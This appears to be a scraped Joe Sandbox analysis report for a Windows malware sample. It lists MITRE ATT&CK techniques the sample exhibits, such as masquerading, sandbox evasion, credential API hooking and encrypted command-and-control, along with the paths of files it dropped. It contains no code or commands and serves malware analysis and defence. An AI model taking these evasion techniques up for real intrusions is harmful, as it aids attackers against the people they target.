Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2b687482300.6345827638.08.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe

C:\Program Files (x86)\E2ky7uqb\log.src

C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll

C:\Program Files (x86)\E2ky7uqb\utils.vcxproj

C:\Program Files (x86)\G5CQjd\G5CQjd.exe

C:\Program Files (x86)\G5CQjd\log.src

C:\Program Files (x86)\G5CQjd\tbcore3U.dll

C:\Program Files (x86)\G5CQjd\utils.vcxproj

C:\Users\Public\Music\destopbak.ini

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\FOM-51[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\b[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\s[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\FOM-53[1].jpg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\d[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\f[1].dat

Windows Analysis Report
2b687482300.6345827638.08.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre